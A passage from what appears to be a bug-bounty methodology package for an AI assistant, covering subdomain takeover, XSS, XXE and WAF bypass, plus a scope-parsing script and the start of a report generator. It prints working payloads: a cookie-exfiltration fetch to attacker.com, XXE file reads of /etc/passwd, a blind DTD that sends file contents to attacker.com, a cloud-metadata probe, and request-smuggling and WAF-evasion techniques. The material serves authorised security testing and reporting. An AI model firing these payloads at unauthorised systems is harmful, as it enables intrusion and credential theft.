2. Engine identified (Jinja2 / Twig / Freemarker etc.)
3. RCE payload with output (or OOB DNS for blind)
4. HTTP request + response showing execution


path: references/vulnerabilities/subdomain-takeover.md
content: # Subdomain Takeover — Hunting Methodology

## What Is Subdomain Takeover

A subdomain (`sub.target.com`) has a DNS record (CNAME or A) pointing to an external service that the target no longer controls. An attacker can claim that external service and then serve content under `sub.target.com`, enabling phishing, cookie theft, or bypassing CORS/CSP policies that trust `*.target.com`.

---

## How It Happens

```
sub.target.com  CNAME  oldapp.github.io
```
Target stopped using GitHub Pages but forgot to remove the DNS record. An attacker claims the GitHub Pages repo `oldapp.github.io` → they control `sub.target.com`.

---

## Phase 1 — Find Dangling Subdomains

**From your passive recon step (recon.md Phase 1B), you already have subdomains. Now check each one:**

**Step 1 — Resolve all subdomains and look for NXDOMAIN or service-specific errors:**
```bash
cat subdomains.txt | dnsx -silent -a -resp-only > resolved.txt
# Subdomains that DON'T resolve = potential dangling CNAME
cat subdomains.txt | dnsx -silent -cname > cname_records.txt
```

**Step 2 — Check for service fingerprints in HTTP responses:**
```bash
httpx -l subdomains.txt -title -status-code -o http_probe.txt
# Look for error pages that match known service fingerprints
```

---

## Phase 2 — Service Fingerprints

Each external service has a unique error page when the resource doesn't exist. Match these to confirm a takeover opportunity:

| Service | Fingerprint in Response |
|---|---|
| **GitHub Pages** | `There isn't a GitHub Pages site here.` |
| **Heroku** | `No such app` |
| **AWS S3** | `NoSuchBucket` or `The specified bucket does not exist` |
| **AWS Elastic Beanstalk** | `404 Not Found` + `Elastic Beanstalk` in Server header |
| **Azure** | `404 Web Site not found` |
| **Netlify** | `Not Found - Request ID:` |
| **Vercel** | `The deployment could not be found` |
| **Fastly** | `Fastly error: unknown domain` |
| **Pantheon** | `404 error unknown site!` |
| **Ghost** | `Domain is not configured` |
| **Tumblr** | `There's nothing here.` |
| **Shopify** | `Sorry, this shop is currently unavailable.` |
| **Zendesk** | `Help Center Closed` |
| **Cargo** | `If you're moving your domain away from Cargo...` |
| **Surge.sh** | `project not found` |
| **Read the Docs** | `unknown to Read the Docs` |
| **Unbounce** | `The requested URL was not found` (Unbounce fingerprint in headers) |

**Automated tool to suggest:** [subjack](https://github.com/haccer/subjack) or [subzy](https://github.com/PentestPad/subzy):
```bash
subzy run --targets subdomains.txt --concurrency 100 --hide_fails
```

---

## Phase 3 — Confirm Exploitability

Not all dangling CNAMEs are claimable. Confirm before reporting:

| Service | How to Claim |
|---|---|
| GitHub Pages | Create repo matching the CNAME, enable Pages |
| Heroku | `heroku create <appname>` matching the subdomain |
| AWS S3 | `aws s3api create-bucket --bucket <name>` matching the CNAME |
| Netlify | Add custom domain pointing to new Netlify site |
| Fastly | Create new service with the domain in Fastly |
| Azure | Create Web App with custom domain |

**To prove takeover for the PoC without actually hosting malicious content:**
1. Claim the service
2. Host a simple `poc.txt` or HTML with your HackerOne handle and timestamp
3. Show `https://sub.target.com/poc.txt` → returns your content

Never host anything that could harm users (no phishing pages, no credential-harvesting forms).

---

## Phase 4 — Assess Impact

| Scenario | Severity |
|---|---|
| Subdomain used by main app (SSO, OAuth redirect, API) | Critical |
| Subdomain in CORS/CSP trusted list of main app | Critical (pair with CORS/CSP chain) |
| Subdomain receives auth cookies due to domain scope | High |
| Generic marketing subdomain (no auth, no cookies) | Medium |
| Subdomain in emails/links used by users | Medium |
| Unused sandbox/test subdomain with no user exposure | Low |

**High-value chain:** Subdomain takeover + CORS (`ACAO: *.target.com`) = Critical. Document the chain explicitly.

**Also check:** Does the main app set cookies with `Domain=.target.com`? If yes, and you control `sub.target.com`, you can read those cookies via JavaScript → ATO = Critical.

---

## Evidence for Report

1. DNS record showing the dangling CNAME: `dig sub.target.com CNAME`
2. HTTP response showing the service fingerprint (screenshot or HTTP response)
3. Proof of claim ability (either show the GitHub repo/Heroku dashboard, or ideally claim it and host the PoC file)
4. Screenshot of `https://sub.target.com/poc.txt` showing your content
5. Impact statement: what an attacker could serve on this subdomain

---

## Do Not Report
- Subdomains resolving to internal IPs (10.x, 192.168.x) without confirmed SSRF/access
- Expired domains where the record is gone (NXDOMAIN with no CNAME = can't take over)
- Subdomains already returning 200 OK (someone already claimed it, or app still running)
- Wildcard catch-all A records (`*.target.com → IP`) — you can't selectively takeover


path: references/vulnerabilities/xss.md
content: # XSS — Hunting Methodology

## Types to Hunt

| Type | Description | Priority |
|---|---|---|
| Stored XSS | Payload persists and executes for other users | Critical/High |
| Reflected XSS | Payload reflects in response from URL/form input | High/Medium |
| DOM-based XSS | Payload flows from DOM source to DOM sink in JS | High/Medium |

## Required for Reportability

- Payload executes JS in a real browser context (not just reflects as text)
- Victim exists beyond the attacker (stored → any user; reflected → any user who clicks link)
- Self-XSS (only affects attacker's own session) → NOT reportable

## Common Sinks — Where XSS Executes

**JavaScript sinks (highest risk):**
- `innerHTML`, `outerHTML`, `insertAdjacentHTML`
- `document.write()`, `document.writeln()`
- `eval()`, `setTimeout(string)`, `setInterval(string)`, `Function(string)`
- `location.href`, `location.replace()`, `window.open(url)`
- `.src`, `.href` on script/link/iframe elements

**Template sinks:**
- Server-side templates rendering unescaped user input: `{{ input | safe }}`, `{!! input !!}`, `<%= input %>`

**Dom sources (attacker-controlled):**
- `location.hash`, `location.search`, `location.href`
- `document.referrer`, `document.URL`
- `postMessage` data
- `localStorage`, `sessionStorage` values set from external input

## Encoding/Defense Bypass Confirmation Steps

1. Confirm the framework does NOT auto-escape output in this context
2. Confirm the output is inserted as HTML (not as text node or attribute with quotes)
3. If HTML attribute: confirm quotes are not escaped → can break out with `"`
4. If JavaScript context: confirm backslash/quote not escaped → can inject with `';`
5. If URL context: confirm `javascript:` is not blocked

Do NOT report if:
- React JSX renders the field (auto-escapes everything except `dangerouslySetInnerHTML`)
- Django/Jinja2 renders without `| safe` (auto-escapes)
- Output is in JSON body consumed by well-written JS (not innerHTML)
- Angular's `{{ }}` interpolation (sanitized by default)

## PoC Escalation Path

For reportability, prefer:
1. `<script>alert(document.cookie)</script>` → proves cookie access
2. `<img src=x onerror=alert(document.domain)>` → proves execution context
3. `fetch('https://attacker.com?c='+document.cookie)` → proves exfiltration

For DOM XSS, trace source → sink explicitly and provide the JS code path.

## Impact by Context

| XSS Location | Impact |
|---|---|
| Auth'd area, persisted | ATO: steal session token, 2FA bypass |
| Auth'd area, reflected | ATO with victim clicking attacker link |
| Admin panel | Admin account compromise, lateral movement |
| Payment page | Credit card skimming (if Magecart-style) |
| Profile/bio | Worm potential if viewed by many users |
| Email template | Usually lower (email client rendering) |


path: references/vulnerabilities/xxe.md
content: # XXE — XML External Entity Injection Hunting Methodology

## What Is XXE

When an XML parser processes external entity references in user-supplied XML, an attacker can:
- Read local files from the server filesystem
- Perform SSRF via the parser
- In some cases achieve RCE (via Expect wrapper or out-of-band techniques)

---

## Finding XXE Entry Points

**Anywhere the application accepts XML input:**
- SOAP web services (`Content-Type: text/xml`)
- REST endpoints accepting `application/xml`
- File upload (`.xml`, `.svg`, `.docx`, `.xlsx`, `.pptx` — all contain XML)
- XML-based APIs (RSS feeds, Atom, sitemaps)
- `Content-Type: application/x-www-form-urlencoded` endpoints that switch to XML parsing when XML is detected

**Indicators the app parses XML:**
- Request/response has XML structure
- Errors mention "XML", "SAX", "DOM", "XSD", "DTD"
- SOAP envelope visible in Burp
- App accepts `.xml` file uploads

---

## Detection Payloads

**Step 1 — Inject a basic XXE (suggest to user):**

Replace the XML body with:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
```

If content of `/etc/passwd` appears in response → **Classic XXE confirmed.**

**Step 2 — If no reflection (Blind XXE via OOB):**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://COLLABORATOR-ID.oast.pro/xxe"> %xxe;]>
<root><data>test</data></root>
```

If DNS/HTTP hit on collaborator → **Blind XXE confirmed.**

**Step 3 — Blind XXE file exfiltration via DTD:**
Host a malicious DTD at `http://attacker.com/evil.dtd`:
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%eval;
%exfil;
```

Then inject: `<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;]>`

---

## SVG / File Upload XXE

Many apps don't think of SVGs as XML:

```xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="400px" height="400px" xmlns="http://www.w3.org/2000/svg">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

Upload as `.svg` to avatar, image, import features. If the server renders SVG and returns content → XXE via file upload.

**Office documents (DOCX/XLSX):**
- Unzip the DOCX
- Inject XXE into `word/document.xml` or `[Content_Types].xml`
- Re-zip and upload

---

## XXE → SSRF

XXE can be used to reach internal services (like SSRF via XML parser):
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://[cloud-imds-ip]/latest/meta-data/">]>
<root><data>&xxe;</data></root>
```

If the response contains AWS IMDS data → **XXE → SSRF → Cloud credential theft = Critical.**

---

## XXE SSRF Internal Port Scan (Blind)

Try internal addresses:
```xml
<!ENTITY xxe SYSTEM "http://localhost:6379/">   <!-- Redis -->
<!ENTITY xxe SYSTEM "http://localhost:27017/">  <!-- MongoDB -->
<!ENTITY xxe SYSTEM "http://localhost:8500/">   <!-- Consul -->
```

Observe response time differences (open vs closed port) for internal port scanning.

---

## Defenses That Block XXE

| Defense | Effect |
|---|---|
| `.disableExternalEntities()` in Java | Blocks external entity resolution |
| `libxml_disable_entity_loader(true)` in PHP | Blocks in older PHP |
| `FEATURE_EXTERNAL_GENERAL_ENTITIES = false` | Java SAX/DOM protection |
| `defusedxml` library in Python | Blocks all XXE |
| Whitelisting allowed XML structure | May not fully protect |

If the app uses these, XXE is blocked → discard.

---

## Impact Classification

| Finding | Severity |
|---|---|
| File read: `/etc/passwd` | Medium |
| File read: config/credentials/`.env` | High |
| File read: `/etc/shadow`, SSH keys | Critical |
| XXE → SSRF → cloud credentials | Critical |
| Blind XXE (OOB confirmed, no data exfil) | Medium |
| XXE in admin-only feature | Medium-High |

## Evidence Requirements
1. XML payload sent (full HTTP request)
2. File content returned in response (or OOB DNS/HTTP request received)
3. Exact XML feature/endpoint affected
4. If blind: collaborator log showing DNS/HTTP callback


path: references/waf-bypass.md
content: # WAF Bypass Methodology

Use this file when your payloads are being blocked. Identify the WAF, pick the right bypass strategy, and apply it before each audit phase.

---

## WAF Identification

Before bypassing, identify what WAF you're dealing with:

**Headers to inspect in responses:**
- `Server: cloudflare` → Cloudflare
- `X-Sucuri-ID` → Sucuri
- `X-Powered-By-Plesk` → Often Mod Security
- `X-CDN: Imperva` → Imperva
- `x-amz-cf-id` / `x-cache: Miss from cloudfront` → AWS CloudFront/WAF
- `X-Azure-Ref` → Azure Front Door

**Tools to suggest to user:**
- `wafw00f https://target.com` — automated WAF fingerprinting
- `whatwaf -u https://target.com` — alternative fingerprinter
- `curl -I https://target.com` — manual header inspection

---

## WAF Bypass Probability by Product

| WAF | Bypass Chance | Strategy |
|---|---|---|
| ModSecurity (OWASP CRS default) | 🟢 98% — Trivial | Encoding, content-type misdirection, multipart oddities |
| OpenResty / Custom Lua (basic) | 🟢 95% — Trivial | Encoding, header tricks, payload reshaping |
| Sucuri / Wordfence / CMS plugins | 🟢 92% — Trivial | API-style misuse, multipart/JSON mismatches |
| Cloudflare (Free / Pro defaults) | 🟢 90% — Trivial | Browser fingerprinting, header poisoning, path encoding |
| Azure Front Door WAF | 🟡 85–90% — Very likely | Double-encoding, unicode normalization, content-type mismatch |
| AWS WAF (Managed/Custom) | 🟡 70% — Likely | Header mutation, method switching, encoding |
| Cloudflare Enterprise / Advanced | 🟠 65–75% — Effort needed | Precise fingerprint mimicry, mobile-app endpoint exploitation |
| Fastly / Signal Sciences | 🟠 45–60% — Effort needed | Find endpoints with missing instrumentation |
| Imperva (Incapsula) | 🔴 40–55% — Possible | Header consistency, JS-challenge mimicry, content-type obfuscation |
| Akamai Kona Site Defender | 🔴 35–50% — Possible | Slow/stealthy testing, allowlist abuse, mimic genuine clients |
| F5 Advanced WAF (BIG-IP) | 🔴 30–45% — Possible | Misconfigured routes, allowlists, staging/dev hostnames |
| Barracuda / Fortinet / Radware | 🔴 25–45% — Possible | Region-specific differences, mimic legitimate clients |
| In-house Signed API Gateways | ⚫ 3–8% — Near-impossible | Look for canonicalization bugs, time-skew attacks |
| Custom mTLS / Zero-Trust | ⚫ 0–5% — Near-impossible | Leaked certs, misconfigured validation, internal staging |

**Legend:** 🟢 90–100% · 🟡 70–89% · 🟠 50–69% · 🔴 30–49% · ⚫ 0–29%

---

## Core Bypass Techniques

### 1. Encoding Transforms

Apply to payload characters that trigger WAF signatures:

| Technique | Example | Transforms |
|---|---|---|
| URL encoding | `%27` | `'` |
| Double URL encoding | `%2527` | `'` (via double decode) |
| HTML entity encoding | `&#039;` / `&#x27;` | `'` |
| Unicode normalization | `ʼ` (U+02BC) | `'` (after unicode fold) |
| Base64 (if app decodes) | `PHNjcmlwdD4=` | `<script>` |
| Hex (SQL context) | `0x3c736372697074 3e` | `<script>` |
| UTF-8 overlong encoding | `%c0%a7` | `'` (older parsers) |

### 2. Case & Whitespace Manipulation

WAFs often use case-sensitive or whitespace-exact matching:

- `SeLeCt * FrOm users` — mixed case SQLi
- `SELECT/**/1/**/FROM/**/users` — comment-based whitespace substitute
- `SELECT%09FROM` — tab instead of space (`%09`)
- `SELECT%0aFROM` — newline instead of space
- `SELECT%0d%0aFROM` — CRLF whitespace

### 3. Content-Type Misdirection

WAFs parse the body based on `Content-Type` — mismatch this:

- Send JSON payload with `Content-Type: text/plain` — parser may not inspect
- Send XML payload with `Content-Type: application/json` — XML parser may still run
- Use `Content-Type: application/x-www-form-urlencoded` with JSON body — parser confusion
- `multipart/form-data` with unusual boundary strings can confuse WAF parsers

### 4. HTTP Method Switching

Some WAFs apply rules only to specific methods:

- Original: `POST /api/search` → blocked
- Try: `PUT /api/search`, `PATCH /api/search` — if same handler
- Override method via header: `X-HTTP-Method-Override: POST` on GET request
- `_method=DELETE` in POST body for some frameworks

### 5. Path Obfuscation

WAFs match paths; bypass with server-level path normalization:

- `/admin/../api/search` → resolves to `/api/search`
- `/api//search` → double slash (some servers normalize)
- `/api/search;jsessionid=x` → parameter in path
- Case: `/API/Search` vs `/api/search` (case-insensitive server)
- URL-encoded slashes: `/api%2fsearch` vs `/api/search`
- Dot-segments: `/api/./search`

### 6. Header Injection / Mutations

Add headers WAFs trust or get confused by:

- `X-Originating-IP: 127.0.0.1` — appear as loopback
- `X-Forwarded-For: 127.0.0.1` — appear as internal IP
- `X-Original-URL: /admin` — path override on some proxies
- `X-Rewrite-URL: /admin` — alternative path override
- `Content-Length: 0` with body — some WAFs skip body if CL=0

### 7. Chunked Transfer Encoding

Split payloads across chunks to evade signature matching:

```
Transfer-Encoding: chunked

5
selec
5
t * f
4
rom 
5
users
0
```

The WAF sees disjointed chunks; the backend reassembles to `select * from users`.

### 8. HTTP Request Smuggling (CL.TE / TE.CL)

If frontend (WAF) and backend disagree on body length, inject a hidden second request:

**CL.TE** (frontend uses Content-Length, backend uses Transfer-Encoding):
```
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```

**TE.CL** (frontend uses TE, backend uses CL) — reverse the above.

Use Burp Suite's HTTP Request Smuggler extension to identify and exploit. Smuggling can deliver blocked payloads to the backend bypassing WAF inspection entirely.

### 9. Multipart Boundary Tricks

Craft unusual multipart bodies:

- Long boundary strings (>70 chars) — some WAFs truncate and miss content
- Boundary with special chars: `boundary=----WebKitFormBoundarySOMETHING`
- Nested multipart parts
- Extra whitespace or CRLF in part headers

### 10. Parameter Pollution

Send the same parameter multiple times — WAF may check first, backend uses last (or vice versa):

- `?id=1&id=PAYLOAD` — WAF checks `id=1` (safe), backend uses last `id=PAYLOAD`
- `?id[]=1&id[]=PAYLOAD` — array notation
- JSON key duplication: `{"key": "safe", "key": "PAYLOAD"}` — ambiguous parsers

---

## WAF-Specific Bypass Strategies

### Cloudflare (Free/Pro)
- Ensure `sec-ch-ua`, `sec-fetch-*`, `sec-fetch-mode` headers are present (browser-like)
- Real browser user-agent string
- Path encoding: `%2f` instead of `/` in subpaths
- Try payloads via PUT/PATCH if POST is filtered
- HTTP/2 request when possible (header handling differs from HTTP/1.1 parsing)

### Cloudflare Enterprise
- Precise TLS fingerprint mimicry (use real browser TLS config)
- Target mobile-app specific endpoints (often have broader allowlists)
- Low-and-slow: spread requests over time, randomize parameters
- Look for endpoints excluded from WAF rules (API version paths, `/v2/`, `/beta/`)

### AWS WAF
- Content-type switching (JSON body with `text/plain` content-type)
- Header mutation on managed rule group thresholds
- Look for API Gateway exclusions (different rules than ALB/CloudFront)
- Test via different AWS regions if target is multi-region (rule differences)

### ModSecurity / Azure (CRS-based)
- Paranoia Level 1 default: many payloads pass at PL1 that fail at PL4
- Comment injection in SQL: `/*!50000select*/` (MySQL version comment)
- Alternative SQL functions: `SUBSTR()` vs `SUBSTRING()`, `IF()` vs `IIF()`
- Exploit encoding normalization order (URL decode before regex match)

### Akamai / Imperva (High-effort targets)
- Slow recon: 1 request per 5–10 seconds, randomized UA/IP
- Mimic a real browser: correct TLS ciphers, JA3 fingerprint
- Use legitimate-looking referrers and cookie sequences
- Look for allowlisted mobile SDK endpoints — often less inspected
- Target API calls that match expected patterns but have injectable fields

---

## Quick Decision Tree

```
Payload blocked?
│
├── Try encoding variants first → URL-encode key chars
│   └── Still blocked? Try double-encoding
│
├── Change Content-Type → text/plain or multipart
│
├── Switch HTTP method → PUT, PATCH
│
├── Add "trusted" headers → X-Forwarded-For: 127.0.0.1
│
├── Obfuscate path → /../ dots, %2f, trailing ;param
│
├── Chunked encoding → split payload across chunks
│
└── If nothing works:
    ├── Is WAF Akamai/Imperva/F5? → Realistic bypass chance 30–55%
    ├── Is WAF mTLS/Signed Gateway? → Skip WAF, look for logic bugs
    └── Document "WAF blocks exploit" → Still reportable if vuln is confirmed
```

---

## Important Notes for Bug Bounty

- **WAF bypass ≠ vulnerability.** The underlying bug must still exist; WAF bypass just proves exploitability despite defensive layers.
- **Never aggressive bypass scanning.** Use manual, targeted bypass attempts. Automated WAF scanners may violate program rules.
- **Document your bypass.** Include which bypass technique was used in the PoC — it significantly increases triage acceptance for "this is blocked by WAF" objections.
- **Cloudflare blocks ≠ not vulnerable.** If you prove the underlying logic flaw exists but WAF blocks it, report with the bypass method — most programs care about the vuln, not that WAF mitigates it.
- **If blocked and can't bypass:** Mark confidence as Probable, explain the technical basis, state what runtime verification is needed.


path: scripts/analyze_scope.py
content: #!/usr/bin/env python3
"""
analyze_scope.py — Web2 Bug Bounty Scope Analyzer

Parses a bug bounty program's scope/rules markdown file and extracts
structured information for the audit phase.

Usage:
    python analyze_scope.py <scope_file> [--output scope.json]
    python analyze_scope.py --help

Example:
    python analyze_scope.py hackerone_program.md
    python analyze_scope.py program_scope.md --output structured_scope.json
"""

import re
import sys
import json
import argparse
from pathlib import Path


def parse_scope_file(filepath: str) -> dict:
    """Parse a program scope/rules markdown file into structured data."""
    path = Path(filepath)
    if not path.exists():
        print(f"Error: File not found: {filepath}", file=sys.stderr)
        sys.exit(1)

    content = path.read_text(encoding="utf-8")
    
    result = {
        "program_name": _extract_program_name(content, path.stem),
        "platform": _detect_platform(content),
        "in_scope": [],
        "out_of_scope": [],
        "excluded_vuln_types": [],
        "reward_tiers": [],
        "technology_hints": [],
        "focus_areas": [],
        "special_rules": [],
    }
    
    result["in_scope"] = _extract_scope_items(content, "in.?scope", out=False)
    result["out_of_scope"] = _extract_scope_items(content, "out.?of.?scope", out=True)
    result["excluded_vuln_types"] = _extract_excluded_vulns(content)
    result["reward_tiers"] = _extract_tiers(content)
    result["technology_hints"] = _extract_tech_hints(content)
    result["focus_areas"] = _extract_focus_areas(content)
    result["special_rules"] = _extract_special_rules(content)
    
    return result


def _extract_program_name(content: str, fallback: str) -> str:
    """Extract program name from first heading or filename."""
    match = re.search(r"^#\s+(.+)$", content, re.MULTILINE)
    return match.group(1).strip() if match else fallback.replace("_", " ").title()


def _detect_platform(content: str) -> str:
    """Detect which bug bounty platform this program uses."""
    content_lower = content.lower()
    if "hackerone" in content_lower or "h1" in content_lower:
        return "hackerone"
    elif "bugcrowd" in content_lower:
        return "bugcrowd"
    elif "intigriti" in content_lower:
        return "intigriti"
    elif "yeswehack" in content_lower:
        return "yeswehack"
    return "unknown"


def _extract_scope_items(content: str, section_pattern: str, out: bool) -> list:
    """Extract in-scope or out-of-scope items."""
    items = []
    
    # Find section
    section_regex = rf"(?im)^#{1,3}\s+.*{section_pattern}.*$"
    matches = list(re.finditer(section_regex, content, re.IGNORECASE))
    
    if not matches:
        # Fallback: look for labeled lists
        fallback = "out.?of.?scope" if out else "in.?scope"
        bullet_pattern = rf"(?im)\*\s+\*\*{fallback}\*\*:?\s*(.+)"
        for m in re.finditer(bullet_pattern, content, re.IGNORECASE):
            items.append(m.group(1).strip())
        return items
    
    for match in matches:
        start = match.end()
        # Find next section
        next_section = re.search(r"(?m)^#{1,3}\s+", content[start:])
        end = start + next_section.start() if next_section else len(content)
        section_content = content[start:end]
        
        # Extract bullet points, table rows, and code blocks with domains
        for line in section_content.split("\n"):
            line = line.strip()
            # Bullet points
            if line.startswith(("- ", "* ", "+ ")):
                item = line[2:].strip()
                if item and len(item) > 2:
                    items.append(item)
            # Table rows
            elif "|" in line and not line.startswith("|---"):
                cells = [c.strip() for c in line.split("|") if c.strip()]
                for cell in cells:
                    # Look for domain-like or endpoint-like patterns
                    if re.search(r"[\w.-]+\.\w{2,}|/api/|\*\.\w", cell):
                        items.append(cell)
            # Code-formatted items
            elif line.startswith("`") and line.endswith("`"):
                items.append(line[1:-1])
    
    # Deduplicate while preserving order
    seen = set()
    unique = []
    for item in items:
        if item not in seen:
            seen.add(item)
            unique.append(item)
    return unique


def _extract_excluded_vulns(content: str) -> list:
    """Extract explicitly excluded vulnerability types."""
    excluded = []
    
    # Common exclusion keywords
    exclusion_classes = [
        "self.?xss", "clickjacking", "csrf.*(login|logout)", "rate.?limit",
        "missing.?header", "version.?disclosure", "ssl.?tls", "open.?redirect",
        "host.?header", "cache.?poisoning", "tab.?nabbing", "self.?ssrf",
        "physical.?attack", "social.?engineering", "dos", "ddos",
        "brute.?force", "spf.?dmarc", "email.?spoofing", "directory.?listing",
    ]
    
    for cls in exclusion_classes:
        pattern = rf"(?i){cls}"
        if re.search(pattern, content):
            # Check if it appears in a "not rewarded" or "excluded" context
            for match in re.finditer(pattern, content, re.IGNORECASE):
                start = max(0, match.start() - 100)
                context = content[start:match.end() + 100].lower()
                exclusion_keywords = ["not", "excluded", "won't", "will not", "out of scope", "n/a", "no reward"]
                if any(kw in context for kw in exclusion_keywords):
                    excluded.append(match.group(0))
                    break
    
    return list(set(excluded))


def _extract_tiers(content: str) -> list:
    """Extract reward tier information."""
    tiers = []
    
    # Match common reward tier patterns
    patterns = [
        r"(?i)(critical|high|medium|low|informational|p1|p2|p3|p4|p5)[:\s]+\$?([\d,]+)(?:\s*-\s*\$?([\d,]+))?",
        r"\|\s*(critical|high|medium|low|p[1-5])\s*\|\s*\$?([\d,]+)(?:\s*-\s*\$?([\d,]+))?\s*\|",
    ]
    
    for pattern in patterns:
        for match in re.finditer(pattern, content, re.IGNORECASE):
            groups = match.groups()
            tier = {"level": groups[0].strip()}
            if groups[1]:
                tier["min_reward"] = int(groups[1].replace(",", ""))
            if len(groups) > 2 and groups[2]:
                tier["max_reward"] = int(groups[2].replace(",", ""))
            tiers.append(tier)
    
    return tiers


def _extract_tech_hints(content: str) -> list:
    """Extract technology stack hints from scope description."""
    hints = []
    
    tech_patterns = {
        r"react|angular|vue|next\.js|nuxt": "JavaScript SPA Framework",
        r"node\.js|express|koa|fastify": "Node.js Backend",
        r"django|flask|fastapi": "Python Backend",
        r"rails|ruby": "Ruby on Rails",
        r"laravel|symfony|php": "PHP Backend",
        r"spring|java": "Java Backend",
        r"graphql": "GraphQL API",
        r"rest api|restful": "REST API",
        r"websocket|socket\.io": "WebSocket",
        r"aws|s3|lambda|cloudfront": "AWS Infrastructure",
        r"gcp|google cloud": "GCP Infrastructure",
        r"azure": "Azure Infrastructure",
        r"postgresql|mysql|mongodb|redis": "Database",
        r"oauth|oidc|saml": "Auth Protocol",
        r"jwt": "JWT Authentication",
    }
    
    for pattern, label in tech_patterns.items():
        if re.search(pattern, content, re.IGNORECASE):
            hints.append(label)
    
    return list(set(hints))


def _extract_focus_areas(content: str) -> list:
    """Extract areas the program specifically highlights for testing."""
    focus = []
    
    focus_keywords = [
        "authentication", "authorization", "payment", "admin", "api",
        "file upload", "search", "export", "import", "webhook",
        "mobile", "ios", "android", "2fa", "mfa", "sso",
    ]
    
    # Find if these appear in "focus", "priority", "we care about" sections
    priority_section = re.search(
        r"(?is)(priority|focus|we care|important|high.?value|especially).{0,500}",
        content
    )
    
    if priority_section:
        section_text = priority_section.group(0).lower()
        for kw in focus_keywords:
            if kw in section_text:
                focus.append(kw)
    
    # Also check for any marked HIGH priority explicitly
    for kw in focus_keywords:
        if re.search(rf"(?i)(critical|high|important).*{kw}", content):
            if kw not in focus:
                focus.append(kw)
    
    return focus


def _extract_special_rules(content: str) -> list:
    """Extract special rules, responsible disclosure requirements, etc."""
    rules = []
    
    rule_patterns = [
        r"(?im)do not.*attack.*production",
        r"(?im)no.*automated.*scanning",
        r"(?im)maximum.*\d+.*requests",
        r"(?im)must.*not.*social.?engineer",
        r"(?im)report.*within.*\d+.*days?",
        r"(?im)do not.*exfiltrate",
        r"(?im)stop.*after.*first.*instance",
    ]
    
    for pattern in rule_patterns:
        match = re.search(pattern, content)
        if match:
            rules.append(match.group(0).strip())
    
    return rules


def print_summary(data: dict) -> None:
    """Print a human-readable summary of the parsed scope."""
    print(f"\n{'='*60}")
    print(f"Program: {data['program_name']}")
    print(f"Platform: {data['platform'].upper()}")
    print(f"{'='*60}\n")
    
    if data["in_scope"]:
        print(f"IN SCOPE ({len(data['in_scope'])} items):")
        for item in data["in_scope"][:15]:
            print(f"  ✓ {item}")
        if len(data["in_scope"]) > 15:
            print(f"  ... and {len(data['in_scope']) - 15} more")
    
    if data["out_of_scope"]:
        print(f"\nOUT OF SCOPE ({len(data['out_of_scope'])} items):")
        for item in data["out_of_scope"][:10]:
            print(f"  ✗ {item}")
    
    if data["excluded_vuln_types"]:
        print(f"\nEXCLUDED VULN TYPES:")
        for v in data["excluded_vuln_types"]:
            print(f"  ✗ {v}")
    
    if data["reward_tiers"]:
        print(f"\nREWARD TIERS:")
        for tier in data["reward_tiers"]:
            reward_str = ""
            if "min_reward" in tier:
                reward_str = f"${tier['min_reward']:,}"
                if "max_reward" in tier:
                    reward_str += f" - ${tier['max_reward']:,}"
            print(f"  {tier['level'].upper()}: {reward_str}")
    
    if data["technology_hints"]:
        print(f"\nTECHNOLOGY STACK HINTS:")
        for tech in data["technology_hints"]:
            print(f"  • {tech}")
    
    if data["focus_areas"]:
        print(f"\nFOCUS AREAS (high priority):")
        for area in data["focus_areas"]:
            print(f"  → {area}")
    
    if data["special_rules"]:
        print(f"\nSPECIAL RULES:")
        for rule in data["special_rules"]:
            print(f"  ⚠ {rule}")
    
    print()


def main():
    parser = argparse.ArgumentParser(
        description="Parse a bug bounty program scope file into structured data for auditing.",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python analyze_scope.py hackerone_program.md
  python analyze_scope.py program_scope.md --output scope.json
  python analyze_scope.py scope.txt --json-only
        """
    )
    parser.add_argument("scope_file", help="Path to the program scope/rules markdown file")
    parser.add_argument("--output", "-o", help="Output JSON file path (default: print to stdout)")
    parser.add_argument("--json-only", action="store_true", help="Only output JSON, no human-readable summary")
    
    args = parser.parse_args()
    
    data = parse_scope_file(args.scope_file)
    
    if not args.json_only:
        print_summary(data)
    
    json_output = json.dumps(data, indent=2)
    
    if args.output:
        Path(args.output).write_text(json_output, encoding="utf-8")
        if not args.json_only:
            print(f"Structured scope saved to: {args.output}")
    else:
        if args.json_only:
            print(json_output)
        else:
            print("JSON output:")
            print(json_output)


if __name__ == "__main__":
    main()


path: scripts/generate_report.py
content: #!/usr/bin/env python3
"""
generate_report.py — Web2 Bug Bounty Report Generator

Generates a formatted vulnerability report for any major bug bounty platform.
Takes structured finding data and outputs a ready-to-submit Markdown report.

Usage:
    python generate_report.py --platform <platform> --vuln-type <type> --input findings.json
    python generate_report.py --platform hackerone --vuln-type xss --interactive
    python generate_report.py --help

Example:
    python generate_report.py --platform hackerone --vuln-type idor --input finding.json --output report.md
    python generate_report.py --platform bugcrowd --vuln-type sqli --interactive

Platforms: hackerone, bugcrowd, intigriti, yeswehack
Vuln types: xss, sqli, ssrf, idor, auth, biz-logic, rce, lfi, xxe, ssti, open-redirect,
         cors, csrf, subdomain-takeover, prototype-pollution, http-smuggling, api-graphql,
         nosqli
"""

import re
import json
import sys
import argparse
from datetime import datetime
from pathlib import Path

# ─── Platform Templates ────────────────────────────────────────────────────────

HACKERONE_TEMPLATE = """# {vuln_type_display}: {title}

## Summary
{summary}

## Impact
- **Security property violated:** {cia_impact}
- **Attacker achieves:** {attacker_achieves}
- **Who is affected:** {affected_scope}
- **Worst case:** {worst_case}

## Steps to Reproduce

{steps}

## Proof of Concept

```
{poc}
```

## Root Cause
{root_cause}

## Remediation
{remediation}

---
*Reported via web2-bug-bounty skill | {date}*
"""

